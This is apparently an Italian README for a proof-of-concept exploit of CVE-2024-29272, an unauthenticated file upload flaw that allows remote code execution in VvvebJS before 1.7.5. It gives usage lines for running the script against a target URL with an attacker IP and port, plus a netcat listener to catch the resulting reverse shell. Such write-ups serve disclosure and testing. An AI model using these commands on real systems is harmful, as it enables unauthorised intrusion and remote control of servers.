
Exploit proof-of-concept per CVE-2024-29272, una vulnerabilità di upload di file arbitrario non autenticato in VvvebJS < 1.7.5, che consente l'esecuzione remota di codice.
Questa è una Proof-of-Concept per CVE-2024-29272, una vulnerabilità non autenticata di upload arbitrario di file che porta all'esecuzione di codice remoto sulle versioni di VvvebJS < 1.7.5
utilizzo:
python3 poc.py -u <URL> -l <ATTACKER IP> -p <ATTACKER PORT>
in un altro terminale:
nc -lvnp <ATTACKER PORT>